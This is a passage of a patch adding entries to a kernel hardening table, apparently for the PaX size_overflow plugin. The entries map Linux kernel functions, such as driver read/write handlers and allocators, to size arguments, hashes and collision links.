++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL
++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL
++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL
++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL
++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL
++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL
++_003021_hash options_write 3 47243 _003021_hash NULL
++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL
++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL
++_003024_hash portnames_read 3 41958 _003024_hash NULL
++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL
++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL
++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL
++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL
++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL
++_003030_hash qib_create_cq 2 27497 _003030_hash NULL
++_003031_hash qib_diag_write 3 62133 _003031_hash NULL
++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL
++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL
++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL
++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL
++_003036_hash queue_reply 3 22416 _003036_hash NULL
++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL
++_003038_hash split 2 11691 _003038_hash NULL
++_003039_hash stats_read_ul 3 32751 _003039_hash NULL
++_003040_hash sys32_ipc 3 7238 _003040_hash NULL
++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL
++_003042_hash tunables_read 3 36385 _003042_hash NULL
++_003043_hash tunables_write 3 59563 _003043_hash NULL
++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL
++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL
++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL
++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL
++_003049_hash xsd_read 3 15653 _003049_hash NULL
++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL
++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray
++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL
++_003054_hash compat_sys_select 1 16131 _003054_hash NULL
++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL
++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL
++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL
++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL
++_003059_hash gnttab_expand 1 15817 _003059_hash NULL
++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL
++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash
++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL
++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash
++_003064_hash compat_readv 3 30273 _003064_hash NULL
++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL
++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL
++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL
++_003070_hash compat_writev 3 60063 _003070_hash NULL
++_003071_hash get_free_entries 1 46030 _003071_hash NULL
++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL
++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL
++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL
++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL
++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL
++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL
++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL
++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL
++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL
++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL
++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL
++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL
++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL
++_003085_hash agp_remap 2 30665 _003085_hash NULL
++_003086_hash alloc_apertures 1 56561 _003086_hash NULL
++_003087_hash allocate_probes 1 40204 _003087_hash NULL
++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash
++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL
++_003090_hash __alloc_preds 2 9492 _003090_hash NULL
++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL
++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL
++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL
++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash
++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL
++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL
++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash
++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL
++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL
++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL
++_003101_hash bin_uuid 3 28999 _003101_hash NULL
++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL
++_003103_hash blk_msg_write 3 13655 _003103_hash NULL
++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash
++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL
++_003106_hash ci_ll_init 3 12930 _003106_hash NULL
++_003107_hash ci_ll_write 4 3740 _003107_hash NULL
++_003108_hash conf_read 3 55786 _003108_hash NULL
++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL
++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL
++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL
++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL
++_003113_hash ddb_input_read 3 9743 _003113_hash NULL
++_003114_hash ddb_output_write 3 31902 _003114_hash NULL
++_003115_hash __devres_alloc 2 25598 _003115_hash NULL
++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL
++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL
++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL
++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray
++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL
++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL
++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash
++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL
++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL
++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL
++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL
++_003129_hash drm_ht_create 2 18853 _003129_hash NULL
++_003130_hash drm_ioctl 2 42813 _003130_hash NULL
++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL
++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL
++_003134_hash drm_plane_init 6 28731 _003134_hash NULL
++_003135_hash drm_property_create 4 51239 _003135_hash NULL
++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL
++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL
++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL
++_003139_hash dvb_aplay 3 56296 _003139_hash NULL
++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL
++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL
++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL
++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL
++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL
++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL
++_003146_hash dvb_play 3 50814 _003146_hash NULL
++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL
++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL
++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL
++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL
++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL
++_003154_hash em_canid_change 3 14150 _003154_hash NULL
++_003155_hash event_calibration_read 3 21083 _003155_hash NULL
++_003156_hash event_enable_read 3 7074 _003156_hash NULL
++_003157_hash event_filter_read 3 23494 _003157_hash NULL
++_003158_hash event_filter_write 3 56609 _003158_hash NULL
++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL
++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash
++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash
++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL
++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL
++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL
++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL
++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL
++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL
++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL
++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL
++_003170_hash __fprog_create 2 41263 _003170_hash NULL
++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL
++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL
++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL
++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL
++_003175_hash get_info 3 55681 _003175_hash NULL
++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL
++_003177_hash gpio_power_read 3 36059 _003177_hash NULL
++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL
++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL
++_003180_hash hsc_write 3 55875 _003180_hash NULL
++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL
++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL
++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL
++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL
++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL
++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL
++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL
++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL
++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL
++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash
++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL
++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL
++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL
++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL
++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash
++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL
++_003197_hash isr_commands_read 3 41398 _003197_hash NULL
++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL
++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL
++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL
++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL
++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL
++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash
++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL
++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL
++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL
++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL
++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL
++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL
++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL
++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL
++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL
++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL
++_003214_hash LoadBitmap 2 19658 _003214_hash NULL
++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL
++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL
++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL
++_003218_hash __module_alloc 1 50004 _003218_hash NULL
++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL
++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL
++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL
++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL
++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL
++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL
++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL
++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL
++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL
++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL
++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL
++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL
++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL
++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL
++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL
++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL
++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL
++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL
++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL
++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL
++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL
++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL
++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL
++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL
++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL
++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL
++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash
++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL
++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL
++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL
++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL
++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL
++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL
++_003253_hash rb_simple_read 3 45972 _003253_hash NULL
++_003254_hash read_file_dfs 3 43145 _003254_hash NULL
++_003255_hash retry_count_read 3 52129 _003255_hash NULL
++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL
++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL
++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL
++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL
++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL
++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL
++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL
++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash
++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL
++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL
++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL
++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL
++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL
++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL
++_003270_hash sched_feat_write 3 55202 _003270_hash NULL
++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL
++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL
++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL
++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL
++_003275_hash show_header 3 4722 _003275_hash &_000745_hash
++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL
++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL
++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL
++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL
++_003280_hash system_enable_read 3 25815 _003280_hash NULL
++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL
++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL
++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL
++_003284_hash trace_options_read 3 11419 _003284_hash NULL
++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL
++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL
++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL
++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL
++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL
++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL
++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL
++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL
++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL
++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL
++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL
++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL
++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL
++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL
++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL
++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL
++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL
++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash
++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL
++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL
++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL
++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL
++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL
++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL
++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL
++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL
++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL
++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL
++_003314_hash vifs_state_read 3 33762 _003314_hash NULL
++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL
++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash
++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL
++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL
++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL
++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL
++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL
++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL
++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL
++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL
++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash
++_003326_hash wep_packets_read 3 18751 _003326_hash NULL
++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL
++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL
++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL
++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL
++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL
++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL
++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL
++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL
++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL
++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL
++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL
++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL
++_003340_hash alloc_private 2 22399 _003340_hash NULL
++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL
++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL
++_003343_hash arcfb_write 3 8702 _003343_hash NULL
++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL
++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash
++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL
++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL
++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL
++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL
++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL
++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL
++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL
++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL
++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL
++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL
++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL
++_003359_hash comedi_read 3 13199 _003359_hash NULL
++_003360_hash comedi_write 3 47926 _003360_hash NULL
++_003361_hash create_trace_probe 1 20175 _003361_hash NULL
++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL
++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL
++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL
++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL
++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL
++_003370_hash da9052_group_write 3 4534 _003370_hash NULL
++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL
++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL
++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL
++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL
++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL
++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL
++_003377_hash dev_read 3 56369 _003377_hash NULL
++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL
++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL
++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL
++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL
++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL
++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL
++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL
++_003385_hash dtim_interval_read 3 654 _003385_hash NULL
++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL
++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL
++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL
++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL
++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL
++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL
++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL
++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL
++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL
++_003396_hash dvb_video_write 3 754 _003396_hash NULL
++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL
++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL
++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL
++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL
++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL
++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash
++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL
++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL
++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL
++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL
++_003407_hash fast_user_write 5 20494 _003407_hash NULL
++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL
++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL
++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL
++_003412_hash fb_read 3 33506 _003412_hash NULL
++_003413_hash fb_sys_read 3 13778 _003413_hash NULL
++_003414_hash fb_sys_write 3 33130 _003414_hash NULL
++_003415_hash fb_write 3 46924 _003415_hash NULL
++_003416_hash firmwareUpload 3 32794 _003416_hash NULL
++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL
++_003418_hash fops_read 3 40672 _003418_hash NULL
++_003419_hash forced_ps_read 3 31685 _003419_hash NULL
++_003420_hash frame_alloc 4 15981 _003420_hash NULL
++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL
++_003422_hash ftrace_write 3 29551 _003422_hash NULL
++_003423_hash fw_download_code 3 13249 _003423_hash NULL
++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL
++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash
++_003426_hash get_vm_area 1 18080 _003426_hash NULL
++_003427_hash __get_vm_area 1 61599 _003427_hash NULL
++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL
++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray
++_003430_hash gspca_dev_probe2 4 59833 _003430_hash NULL
++_003431_hash hdpvr_read 3 9273 _003431_hash NULL
++_003432_hash hecubafb_write 3 26942 _003432_hash NULL
++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL
++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL
++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL
++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL
++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL
++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray
++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL
++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL
++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL
++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash
++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL
++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL
++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL
++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL
++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL
++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL
++_003451_hash lirc_write 3 20604 _003451_hash NULL
++_003452_hash mce_request_packet 3 1073 _003452_hash NULL
++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash
++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL
++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL
++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL
++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash
++_003459_hash metronomefb_write 3 8823 _003459_hash NULL
++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL
++_003461_hash mmio_read 4 40348 _003461_hash NULL
++_003462_hash netlink_send 5 38434 _003462_hash NULL
++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL
++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL
++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL
++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL
++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL
++_003468_hash odev_update 2 50169 _003468_hash NULL
++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL
++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL
++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL
++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL
++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL
++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL
++_003476_hash oz_events_read 3 47535 _003476_hash NULL
++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL
++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL
++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL
++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL
++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL
++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL
